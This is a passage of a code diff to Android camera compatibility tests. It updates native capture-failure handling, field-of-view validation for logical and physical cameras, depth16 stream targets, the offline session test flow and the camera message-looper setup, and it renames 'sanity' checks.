+    std::set<int64_t> mBufferTs;
 };
 
 class StaticInfo {
@@ -3573,9 +3639,10 @@
     return pass;
 }
 
-// Test the camera NDK capture failure path by acquiring the maximum amount of ImageReader
-// buffers available. Since there is no circulation of camera images, the registered output
-// surface will eventually run out of free buffers and start reporting capture errors.
+// Test the camera NDK capture failure path by acquiring the maximum amount of
+// ImageReader buffers available. Since there is no circulation of camera
+// images, the registered output surface will eventually run out of free buffers
+// and start reporting capture errors or lost buffers.
 extern "C" jboolean
 Java_android_hardware_camera2_cts_NativeCameraDeviceTest_\
 testCameraDeviceCaptureFailureNative(JNIEnv* env, jclass /*clazz*/, jstring jOverrideCameraId) {
@@ -3588,6 +3655,7 @@
     int numCameras = 0;
     bool pass = false;
     PreviewTestCase testCase;
+    uint32_t bufferTimeoutSec = 1;
     uint32_t timeoutSec = 10; // It is important to keep this timeout bigger than the framework
                               // timeout
 
@@ -3636,7 +3704,7 @@
 
         ImageReaderListener readerListener;
         AImageReader_ImageListener readerCb =
-                { &readerListener, ImageReaderListener::acquireImageCb };
+                { &readerListener, ImageReaderListener::signalImageCb };
         mediaRet = testCase.initImageReaderWithErrorLog(TEST_WIDTH, TEST_HEIGHT,
                 AIMAGE_FORMAT_YUV_420_888, NUM_TEST_IMAGES, &readerCb);
         if (mediaRet != AMEDIA_OK) {
@@ -3692,7 +3760,8 @@
                         cameraId);
                 goto exit;
             }
-            auto failedFrameNumber = resultListener.checkForFailure(lastFrameNumber) ?
+            readerListener.waitForNextBuffer(bufferTimeoutSec);
+            auto failedFrameNumber = resultListener.checkForFailureOrLoss(lastFrameNumber) ?
                     lastFrameNumber : -1;
             if (lastFailedRequestNumber != failedFrameNumber) {
                 if ((lastFailedRequestNumber + 1) == failedFrameNumber) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 776879d..a3e6256 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -431,7 +431,7 @@
         int width = size.getWidth();
         int height = size.getHeight();
         /**
-         * Check the input allocation is sane.
+         * Check the input allocation is valid.
          * - Byte size matches what we expect.
          * - The input is not all zeroes.
          */
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 1f90f1c..4374db9 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -17,6 +17,7 @@
 package android.hardware.camera2.cts;
 
 import static android.hardware.camera2.cts.CameraTestUtils.*;
+import static com.android.ex.camera2.blocking.BlockingCameraManager.*;
 import static com.android.ex.camera2.blocking.BlockingStateCallback.*;
 import static com.android.ex.camera2.blocking.BlockingSessionCallback.*;
 import static org.mockito.Mockito.*;
@@ -2776,35 +2777,23 @@
             assertTrue("Audio restriction mode mismatch: input: " + mode0 + ", output:" + retMode,
                     retMode == mode0);
 
-            cam1 = CameraTestUtils.openCamera(mCameraManager, id1, cam1Cb, mHandler);
+            try {
+                cam1 = CameraTestUtils.openCamera(mCameraManager, id1, cam1Cb, mHandler);
+            } catch (CameraAccessException | BlockingOpenException e) {
+                Log.i(TAG, "Camera " + id1 + "cannot be opened along with camera " + id0 +
+                        ", skipping the test");
+                return;
+            }
             cam1Cb.waitForState(STATE_OPENED, CAMERA_OPEN_TIMEOUT_MS);
 
             // See if cam0 is evicted.
-            boolean cam0Evicted = true;
             try {
                 final int cameraEvictedTimeoutMs = 1000;
                 cam0Cb.waitForState(STATE_DISCONNECTED, cameraEvictedTimeoutMs);
+                fail("Opened camera " + id0 + " is evicted by a later open call for camera " +
+                        id1 + " from the same process");
             } catch (TimeoutRuntimeException e) {
                 // camera 0 is not evicted
-                cam0Evicted = false;
-            }
-
-            if (cam0Evicted) {
-                Log.i(TAG, "Camera " + id0 + " is evicted. Testing camera " + id1 + " alone.");
-                // cam0 is evicted
-                try {
-                    cam0.setCameraAudioRestriction(mode0);
-                    fail("Should get CameraAccessException for disconnected camera.");
-                } catch (CameraAccessException e) {
-                    // expected
-                }
-                // Test the behavior for single remaining client
-                int mode1 = CameraDevice.AUDIO_RESTRICTION_VIBRATION;
-                cam1.setCameraAudioRestriction(mode1);
-                retMode = cam1.getCameraAudioRestriction();
-                assertTrue("Audio restriction mode mismatch: input: " + mode1 +
-                        ", output:" + retMode, retMode == mode1);
-                return;
             }
 
             // The output mode should be union of all CameraDevices
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 5fe5d2f..ff1bdb7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -138,6 +138,8 @@
             case CameraAccessException.CAMERA_DISABLED:
             case CameraAccessException.CAMERA_DISCONNECTED:
             case CameraAccessException.CAMERA_ERROR:
+            case CameraAccessException.CAMERA_IN_USE:
+            case CameraAccessException.MAX_CAMERAS_IN_USE:
                 return reason;
         }
 
@@ -188,7 +190,8 @@
         }
 
         // Test an external camera is connected if FEATURE_CAMERA_EXTERNAL is advertised
-        if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
+        if (!mAdoptShellPerm &&
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_CAMERA_EXTERNAL)) {
             assertTrue("External camera is not connected on device with FEATURE_CAMERA_EXTERNAL",
                     externalCameraConnected);
         }
@@ -374,11 +377,13 @@
                         mCameraManager.openCamera(cameraId, mCameraListener, mHandler);
                     }
                 } catch (CameraAccessException e) {
-                    if (checkCameraAccessExceptionReason(e) == CameraAccessException.CAMERA_ERROR) {
-                        expectingError = true;
-                    } else {
+                    int reason = checkCameraAccessExceptionReason(e);
+                    if (reason == CameraAccessException.CAMERA_DISCONNECTED ||
+                            reason == CameraAccessException.CAMERA_DISABLED) {
                         // TODO: We should handle a Disabled camera by passing here and elsewhere
                         fail("Camera must not be disconnected or disabled for this test" + ids[i]);
+                    } else {
+                        expectingError = true;
                     }
                 }
 
@@ -421,7 +426,8 @@
                     verify(mockListener)
                             .onError(
                                     argument.capture(),
-                                    eq(CameraDevice.StateCallback.ERROR_MAX_CAMERAS_IN_USE));
+                                    eq(CameraDevice.StateCallback.ERROR_MAX_CAMERAS_IN_USE)
+                            );
                     verifyNoMoreInteractions(mockListener);
 
                     camera = argument.getValue();
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 4a4aa0d8..90a7dcd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -2361,7 +2361,7 @@
                         result.get(CaptureResult.TONEMAP_PRESET_CURVE));
             }
 
-            // Tonemap curve result availability and basic sanity check for all modes.
+            // Tonemap curve result availability and basic validity check for all modes.
             mCollector.expectValuesInRange("Tonemap curve red values are out of range",
                     CameraTestUtils.toObject(mapRed), /*min*/ZERO, /*max*/ONE);
             mCollector.expectInRange("Tonemap curve red length is out of range",
@@ -2999,8 +2999,9 @@
      */
     private void changeExposure(CaptureRequest.Builder requestBuilder,
             long expTime, int sensitivity) {
-        // Check if the max analog sensitivity is available and no larger than max sensitivity.
-        // The max analog sensitivity is not actually used here. This is only an extra sanity check.
+        // Check if the max analog sensitivity is available and no larger than max sensitivity.  The
+        // max analog sensitivity is not actually used here. This is only an extra correctness
+        // check.
         mStaticInfo.getMaxAnalogSensitivityChecked();
 
         expTime = mStaticInfo.getExposureClampToRange(expTime);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
index 6ee7ec2..d04ac12 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
@@ -79,6 +79,7 @@
         public List<ImageReader> y8Targets = new ArrayList<ImageReader>();
         public List<ImageReader> rawTargets = new ArrayList<ImageReader>();
         public List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+        public List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
         public TestSample(String cameraId, StaticMetadata staticInfo,
                 MandatoryStreamCombination combination, boolean subY8) {
             this.cameraId = cameraId;
@@ -247,9 +248,9 @@
             CameraTestUtils.setupConfigurationTargets(
                 testSample.combination.getStreamsInformation(), testSample.privTargets,
                 testSample.jpegTargets, testSample.yuvTargets, testSample.y8Targets,
-                testSample.rawTargets, testSample.heicTargets, testSample.outputConfigs,
-                MIN_RESULT_COUNT, testSample.substituteY8, /*substituteHEIC*/false,
-                /*physicalCameraId*/null, mHandler);
+                testSample.rawTargets, testSample.heicTargets, testSample.depth16Targets,
+                testSample.outputConfigs, MIN_RESULT_COUNT, testSample.substituteY8,
+                /*substituteHEIC*/false, /*physicalCameraId*/null, mHandler);
 
             try {
                 checkSessionConfigurationSupported(info.mCamera, mHandler, testSample.outputConfigs,
@@ -344,6 +345,9 @@
             for (ImageReader target : testSample.heicTargets) {
                 target.close();
             }
+            for (ImageReader target : testSample.depth16Targets) {
+                target.close();
+            }
         }
     }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 07155ff..7bf1f4c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -2084,7 +2084,7 @@
     }
 
     /**
-     * Sanity check of optical black regions.
+     * Correctness check of optical black regions.
      */
     @Test
     public void testOpticalBlackRegions() {
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 99c6b33..6cfa435 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -187,7 +187,7 @@
         texture.setDefaultBufferSize(640, 480);
         Surface surface = new Surface(texture);
 
-        // Make sure that the default newInstance is still sane.
+        // Make sure that the default newInstance is still valid.
         ImageWriter defaultWriter = ImageWriter.newInstance(surface, MAX_NUM_IMAGES);
         Image defaultImage = defaultWriter.dequeueInputImage();
         defaultWriter.close();
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 4a88c84..56c2652 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -92,7 +92,6 @@
 
     private static final double FRAME_DURATION_THRESHOLD = 0.03;
     private static final double FOV_THRESHOLD = 0.03;
-    private static final double ASPECT_RATIO_THRESHOLD = 0.03;
     private static final long MAX_TIMESTAMP_DIFFERENCE_THRESHOLD = 10000000; // 10ms
 
     private StateWaiter mSessionWaiter;
@@ -994,51 +993,56 @@
     }
 
     /**
-     * Validate that physical cameras' crop region are compensated based on focal length.
+     * Validate that physical cameras are not cropping too much.
      *
-     * This is to make sure physical processed streams have the same field of view as long as
-     * the physical cameras supports it.
+     * This is to make sure physical processed streams have at least the same field of view as
+     * the logical stream, or the maximum field of view of the physical camera, whichever is
+     * smaller.
+     *
+     * Note that the FOV is calculated in the directio of sensor width.
      */
     private void validatePhysicalCamerasFov(TotalCaptureResult totalCaptureResult,
             List<String> physicalCameraIds) {
         Rect cropRegion = totalCaptureResult.get(CaptureResult.SCALER_CROP_REGION);
         Float focalLength = totalCaptureResult.get(CaptureResult.LENS_FOCAL_LENGTH);
-        float cropAspectRatio = (float)cropRegion.width() / cropRegion.height();
+        Float zoomRatio = totalCaptureResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+        Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
+        SizeF sensorSize = mStaticInfo.getValueFromKeyNonNull(
+                CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
 
         // Assume subject distance >> focal length, and subject distance >> camera baseline.
-        float fov = cropRegion.width() / (2 * focalLength);
+        double fov = 2 * Math.toDegrees(Math.atan2(sensorSize.getWidth() * cropRegion.width() /
+                (2 * zoomRatio * activeArraySize.width()),  focalLength));
+
         Map<String, CaptureResult> physicalResultsDual =
                     totalCaptureResult.getPhysicalCameraResults();
         for (String physicalId : physicalCameraIds) {
+            StaticMetadata physicalStaticInfo = mAllStaticInfo.get(physicalId);
             CaptureResult physicalResult = physicalResultsDual.get(physicalId);
             Rect physicalCropRegion = physicalResult.get(CaptureResult.SCALER_CROP_REGION);
-            final Float physicalFocalLength = physicalResult.get(CaptureResult.LENS_FOCAL_LENGTH);
+            Float physicalFocalLength = physicalResult.get(CaptureResult.LENS_FOCAL_LENGTH);
+            Float physicalZoomRatio = physicalResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+            Rect physicalActiveArraySize = physicalStaticInfo.getActiveArraySizeChecked();
+            SizeF physicalSensorSize = mStaticInfo.getValueFromKeyNonNull(
+                    CameraCharacteristics.SENSOR_INFO_PHYSICAL_SIZE);
 
-            StaticMetadata staticInfo = mAllStaticInfo.get(physicalId);
-            final Rect activeArraySize = staticInfo.getActiveArraySizeChecked();
-            final Float maxDigitalZoom = staticInfo.getAvailableMaxDigitalZoomChecked();
-            int maxWidth = activeArraySize.width();
-            int minWidth = (int)(activeArraySize.width() / maxDigitalZoom);
-            int expectedCropWidth = Math.max(Math.min(Math.round(fov * 2 * physicalFocalLength),
-                    maxWidth), minWidth);
+            double physicalFov = 2 * Math.toDegrees(Math.atan2(
+                    physicalSensorSize.getWidth() * physicalCropRegion.width() /
+                    (2 * physicalZoomRatio * physicalActiveArraySize.width()), physicalFocalLength));
 
-            // Makes sure FOV matches to the maximum extent.
-            assertTrue("Physical stream FOV (Field of view) should match logical stream to most "
-                    + "extent. Crop region actual width " + physicalCropRegion.width() +
-                    " vs expected width " + expectedCropWidth,
-                    Math.abs((float)physicalCropRegion.width() - expectedCropWidth) /
-                    expectedCropWidth < FOV_THRESHOLD);
+            double maxPhysicalFov = 2 * Math.toDegrees(Math.atan2(physicalSensorSize.getWidth() / 2,
+                    physicalFocalLength));
+            double expectedPhysicalFov = Math.min(maxPhysicalFov, fov);
 
-            // Makes sure aspect ratio matches.
-            float physicalCropAspectRatio =
-                    (float)physicalCropRegion.width() / physicalCropRegion.height();
-            assertTrue("Physical stream for camera " + physicalId + " aspect ratio " +
-                    physicalCropAspectRatio + " should match logical streams aspect ratio " +
-                    cropAspectRatio, Math.abs(physicalCropAspectRatio - cropAspectRatio) <
-                    ASPECT_RATIO_THRESHOLD);
+            if (VERBOSE) {
+                Log.v(TAG, "Logical camera Fov: " + fov + ", maxPhyiscalFov: " + maxPhysicalFov +
+                        ", physicalFov: " + physicalFov);
+            }
+            assertTrue("Physical stream FOV (Field of view) should be greater or equal to"
+                    + " min(logical stream FOV, max physical stream FOV). Physical FOV: "
+                    + physicalFov + " vs min(" + fov + ", " + maxPhysicalFov,
+                    physicalFov - expectedPhysicalFov > -FOV_THRESHOLD);
         }
-
-
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java b/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
index 6c60e5f..2eb6004 100644
--- a/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/OfflineSessionTest.java
@@ -59,6 +59,8 @@
 import java.util.ArrayList;
 import java.util.List;
 
+import junit.framework.AssertionFailedError;
+
 @RunWith(Parameterized.class)
 public class OfflineSessionTest extends Camera2SurfaceViewTestCase {
     private static final String TAG = "OfflineSessionTest";
@@ -325,19 +327,19 @@
                 }
 
                 openDevice(mCameraIdsUnderTest[i]);
-                camera2OfflineSessionTest(mCameraIdsUnderTest[i], mOrderedStillSizes.get(0),
-                        ImageFormat.JPEG, OfflineTestSequence.CloseDeviceAndOpenRemote);
-
-                // Verify that the remote camera was opened correctly
-                List<ErrorLoggingService.LogEvent> allEvents = null;
-                try {
-                    allEvents = errorConnection.getLog(WAIT_FOR_STATE_TIMEOUT_MS,
-                            TestConstants.EVENT_CAMERA_CONNECT);
-                } catch (TimeoutException e) {
-                    fail("Timed out waiting on remote offline process error log!");
+                if (camera2OfflineSessionTest(mCameraIdsUnderTest[i], mOrderedStillSizes.get(0),
+                            ImageFormat.JPEG, OfflineTestSequence.CloseDeviceAndOpenRemote)) {
+                    // Verify that the remote camera was opened correctly
+                    List<ErrorLoggingService.LogEvent> allEvents = null;
+                    try {
+                        allEvents = errorConnection.getLog(WAIT_FOR_STATE_TIMEOUT_MS,
+                                TestConstants.EVENT_CAMERA_CONNECT);
+                    } catch (TimeoutException e) {
+                        fail("Timed out waiting on remote offline process error log!");
+                    }
+                    assertNotNull("Failed to connect to camera device in remote offline process!",
+                            allEvents);
                 }
-                assertNotNull("Failed to connect to camera device in remote offline process!",
-                        allEvents);
             } finally {
                 closeDevice();
 
@@ -481,6 +483,17 @@
         }
     }
 
+    private void checkForSequenceAbort(SimpleCaptureCallback resultListener, int sequenceId) {
+        ArrayList<Integer> abortedSeq = resultListener.geAbortedSequences(
+                1 /*maxNumbAborts*/);
+        assertNotNull("No aborted capture sequence ids present", abortedSeq);
+        assertTrue("Unexpected number of aborted capture sequence ids : " +
+                abortedSeq.size() + " expected 1", abortedSeq.size() == 1);
+        assertTrue("Unexpected abort capture sequence id: " +
+                abortedSeq.get(0).intValue() + " expected capture sequence id: " +
+                sequenceId, abortedSeq.get(0).intValue() == sequenceId);
+    }
+
     private void verifyCaptureResults(SimpleCaptureCallback resultListener,
             SimpleImageReaderListener imageListener, int sequenceId, boolean offlineResults)
             throws Exception {
@@ -524,8 +537,18 @@
                 sequenceLastFrameNumber, lastFrameNumberReceived);
     }
 
-    private void camera2OfflineSessionTest(String cameraId, Size offlineSize, int offlineFormat,
+    /**
+     * Verify offline session behavior during common use cases
+     *
+     * @param cameraId      Id of the camera device under test
+     * @param offlineSize   The offline surface size
+     * @param offlineFormat The offline surface pixel format
+     * @param testSequence  Specific scenario to be verified
+     * @return true if the offline session switch is successful, false if there is any failure.
+     */
+    private boolean camera2OfflineSessionTest(String cameraId, Size offlineSize, int offlineFormat,
             OfflineTestSequence testSequence) throws Exception {
+        boolean ret = false;
         int remoteOfflinePID = -1;
         Size previewSize = mOrderedPreviewSizes.get(0);
         for (Size sz : mOrderedPreviewSizes) {
@@ -571,7 +594,7 @@
 
         if (!mSession.supportsOfflineProcessing(mReaderSurface)) {
             Log.i(TAG, "Camera does not support offline processing for still capture output");
-            return;
+            return false;
         }
 
         // Configure the requests.
@@ -626,8 +649,16 @@
             verify(mockOfflineCb, times(0)).onError(offlineSession,
                     CameraOfflineSessionCallback.STATUS_INTERNAL_ERROR);
 
-            verifyCaptureResults(resultListener, null /*imageListener*/, repeatingSeqId,
-                    false /*offlineResults*/);
+            try {
+                verifyCaptureResults(resultListener, null /*imageListener*/, repeatingSeqId,
+                        false /*offlineResults*/);
+            } catch (AssertionFailedError e) {
+                if (testSequence == OfflineTestSequence.RepeatingSequenceAbort) {
+                    checkForSequenceAbort(resultListener, repeatingSeqId);
+                } else {
+                    throw e;
+                }
+            }
             verifyCaptureResults(offlineResultListener, null /*imageListener*/, offlineSeqId,
                     true /*offlineResults*/);
         } else {
@@ -636,14 +667,7 @@
 
             switch (testSequence) {
                 case RepeatingSequenceAbort:
-                    ArrayList<Integer> abortedSeq = resultListener.geAbortedSequences(
-                            1 /*maxNumbAborts*/);
-                    assertNotNull("No aborted capture sequence ids present", abortedSeq);
-                    assertTrue("Unexpected number of aborted capture sequence ids : " +
-                            abortedSeq.size() + " expected 1", abortedSeq.size() == 1);
-                    assertTrue("Unexpected abort capture sequence id: " +
-                            abortedSeq.get(0).intValue() + " expected capture sequence id: " +
-                            repeatingSeqId, abortedSeq.get(0).intValue() == repeatingSeqId);
+                    checkForSequenceAbort(resultListener, repeatingSeqId);
                     break;
                 case CloseDeviceAndOpenRemote:
                     // According to the documentation, closing the initial camera device and
@@ -741,11 +765,15 @@
             offlineCb.waitForState(BlockingOfflineSessionCallback.STATE_CLOSED,
                   WAIT_FOR_STATE_TIMEOUT_MS);
             verify(mockOfflineCb, times(1)).onClosed(offlineSession);
+
+            ret = true;
         }
 
         closeImageReader();
 
         stopRemoteOfflineTestProcess(remoteOfflinePID);
+
+        return ret;
     }
 
     private void checkInitialResults(SimpleCaptureCallback resultListener) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index 067104c..bf42ab7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -2046,7 +2046,7 @@
     }
 
     /**
-     * Validate video snapshot capture image object sanity and test.
+     * Validate video snapshot capture image object validity and test.
      *
      * <p> Check for size, format and jpeg decoding</p>
      *
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 80a2fe95..32c927e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -327,10 +327,12 @@
         List<ImageReader> y8Targets = new ArrayList<ImageReader>();
         List<ImageReader> rawTargets = new ArrayList<ImageReader>();
         List<ImageReader> heicTargets = new ArrayList<ImageReader>();
+        List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
 
         CameraTestUtils.setupConfigurationTargets(combination.getStreamsInformation(), privTargets,
-                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, outputConfigs,
-                MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId, mHandler);
+                jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets, depth16Targets,
+                outputConfigs, MIN_RESULT_COUNT, substituteY8, substituteHeic, physicalCameraId,
+                mHandler);
 
         boolean haveSession = false;
         try {
@@ -416,6 +418,9 @@
         for (ImageReader target : heicTargets) {
             target.close();
         }
+        for (ImageReader target : depth16Targets) {
+            target.close();
+        }
     }
 
     /**
@@ -498,6 +503,7 @@
         List<ImageReader> y8Targets = new ArrayList<>();
         List<ImageReader> rawTargets = new ArrayList<>();
         List<ImageReader> heicTargets = new ArrayList<>();
+        List<ImageReader> depth16Targets = new ArrayList<>();
         ArrayList<Surface> outputSurfaces = new ArrayList<>();
         List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
         ImageReader inputReader = null;
@@ -527,7 +533,7 @@
             // separately.
             CameraTestUtils.setupConfigurationTargets(streamInfo.subList(2, streamInfo.size()),
                     privTargets, jpegTargets, yuvTargets, y8Targets, rawTargets, heicTargets,
-                    outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
+                    depth16Targets, outputConfigs, NUM_REPROCESS_CAPTURES_PER_CONFIG, substituteY8,
                     substituteHeic, null/*overridePhysicalCameraId*/, mHandler);
 
             outputSurfaces.ensureCapacity(outputConfigs.size());
@@ -649,6 +655,10 @@
                 target.close();
             }
 
+            for (ImageReader target : depth16Targets) {
+                target.close();
+            }
+
             if (inputReader != null) {
                 inputReader.close();
             }
@@ -1829,7 +1839,7 @@
                 { LEGACY_COMBINATIONS, LIMITED_COMBINATIONS, BURST_COMBINATIONS, FULL_COMBINATIONS,
                   RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
 
-        sanityCheckConfigurationTables(TABLES);
+        validityCheckConfigurationTables(TABLES);
 
         for (String id : mCameraIdsUnderTest) {
             openDevice(id);
@@ -1965,7 +1975,7 @@
         final int[][][] TABLES =
                 { LIMITED_COMBINATIONS, FULL_COMBINATIONS, RAW_COMBINATIONS, LEVEL_3_COMBINATIONS };
 
-        sanityCheckConfigurationTables(TABLES);
+        validityCheckConfigurationTables(TABLES);
 
         for (String id : mCameraIdsUnderTest) {
             openDevice(id);
@@ -2091,9 +2101,9 @@
     }
 
     /**
-     * Sanity check the configuration tables.
+     * Verify correctness of the configuration tables.
      */
-    private void sanityCheckConfigurationTables(final int[][][] tables) throws Exception {
+    private void validityCheckConfigurationTables(final int[][][] tables) throws Exception {
         int tableIdx = 0;
         for (int[][] table : tables) {
             int rowIdx = 0;
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 991649e..5f2f961 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -1564,9 +1564,9 @@
     }
 
     /**
-     * Validate JPEG capture image object sanity and test.
+     * Validate JPEG capture image object correctness and test.
      * <p>
-     * In addition to image object sanity, this function also does the decoding
+     * In addition to image object correctness, this function also does the decoding
      * test, which is slower.
      * </p>
      *
diff --git a/tests/camera/src/android/hardware/cts/CameraTest.java b/tests/camera/src/android/hardware/cts/CameraTest.java
index c8330f7..c2645ad 100644
--- a/tests/camera/src/android/hardware/cts/CameraTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraTest.java
@@ -75,6 +75,7 @@
     private static final String TAG = "CameraTest";
     private static final String PACKAGE = "android.hardware.cts";
     private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
+    private String mRecordingPath = null;
     private String mJpegPath = null;
     private byte[] mJpegData;
 
@@ -151,31 +152,50 @@
      * receive the callback messages.
      */
     private void initializeMessageLooper(final int cameraId) throws IOException {
+        LooperInfo looperInfo = new LooperInfo();
+        initializeMessageLooper(cameraId, mErrorCallback, looperInfo);
+        mIsExternalCamera = looperInfo.isExternalCamera;
+        mCamera = looperInfo.camera;
+        mLooper = looperInfo.looper;
+    }
+
+    private final class LooperInfo {
+        Camera camera = null;
+        Looper looper = null;
+        boolean isExternalCamera = false;
+    };
+
+    /*
+     * Initializes the message looper so that the Camera object can
+     * receive the callback messages.
+     */
+    private void initializeMessageLooper(final int cameraId, final ErrorCallback errorCallback,
+            LooperInfo looperInfo) throws IOException {
         final ConditionVariable startDone = new ConditionVariable();
         final CameraCtsActivity activity = mActivityRule.getActivity();
         new Thread() {
             @Override
             public void run() {
-                Log.v(TAG, "start loopRun");
+                Log.v(TAG, "start loopRun for cameraId " + cameraId);
                 // Set up a looper to be used by camera.
                 Looper.prepare();
                 // Save the looper so that we can terminate this thread
                 // after we are done with it.
-                mLooper = Looper.myLooper();
+                looperInfo.looper = Looper.myLooper();
                 try {
-                    mIsExternalCamera = CameraUtils.isExternal(
+                    looperInfo.isExternalCamera = CameraUtils.isExternal(
                             activity.getApplicationContext(), cameraId);
                 } catch (Exception e) {
                     Log.e(TAG, "Unable to query external camera!" + e);
                 }
 
                 try {
-                    mCamera = Camera.open(cameraId);
-                    mCamera.setErrorCallback(mErrorCallback);
+                    looperInfo.camera = Camera.open(cameraId);
+                    looperInfo.camera.setErrorCallback(errorCallback);
                 } catch (RuntimeException e) {
-                    Log.e(TAG, "Fail to open camera." + e);
+                    Log.e(TAG, "Fail to open camera id " + cameraId + ": " + e);
                 }
-                Log.v(TAG, "camera is opened");
+                Log.v(TAG, "camera" + cameraId + " is opened");
                 startDone.open();
                 Looper.loop(); // Blocks forever until Looper.quit() is called.
                 if (VERBOSE) Log.v(TAG, "initializeMessageLooper: quit.");
@@ -187,14 +207,14 @@
             Log.v(TAG, "initializeMessageLooper: start timeout");
             fail("initializeMessageLooper: start timeout");
         }
-        assertNotNull("Fail to open camera.", mCamera);
-        mCamera.setPreviewDisplay(activity.getSurfaceView().getHolder());
-
+        assertNotNull("Fail to open camera " + cameraId, looperInfo.camera);
+        looperInfo.camera.setPreviewDisplay(activity.getSurfaceView().getHolder());
         File parent = activity.getPackageManager().isInstantApp()
                 ? activity.getFilesDir()
                 : activity.getExternalFilesDir(null);
 
         mJpegPath = parent.getPath() + "/test.jpg";
+        mRecordingPath = parent.getPath() + "/test_video.mp4";
     }
 
     /*
@@ -208,21 +228,33 @@
      * Terminates the message looper thread, optionally allowing evict error
      */
     private void terminateMessageLooper(boolean allowEvict) throws Exception {
-        mLooper.quit();
+        LooperInfo looperInfo = new LooperInfo();
+        looperInfo.camera = mCamera;
+        looperInfo.looper = mLooper;
+        terminateMessageLooper(allowEvict, mCameraErrorCode, looperInfo);
+        mCamera = null;
+    }
+
+    /*
+     * Terminates the message looper thread, optionally allowing evict error
+     */
+    private void terminateMessageLooper(final boolean allowEvict, final int errorCode,
+            final LooperInfo looperInfo) throws Exception {
+        looperInfo.looper.quit();
         // Looper.quit() is asynchronous. The looper may still has some
         // preview callbacks in the queue after quit is called. The preview
         // callback still uses the camera object (setHasPreviewCallback).
         // After camera is released, RuntimeException will be thrown from
         // the method. So we need to join the looper thread here.
-        mLooper.getThread().join();
-        mCamera.release();
-        mCamera = null;
+        looperInfo.looper.getThread().join();
+        looperInfo.camera.release();
+        looperInfo.camera = null;
         if (allowEvict) {
             assertTrue("Got unexpected camera error callback.",
-                    (NO_ERROR == mCameraErrorCode ||
-                    Camera.CAMERA_ERROR_EVICTED == mCameraErrorCode));
+                    (NO_ERROR == errorCode ||
+                    Camera.CAMERA_ERROR_EVICTED == errorCode));
         } else {
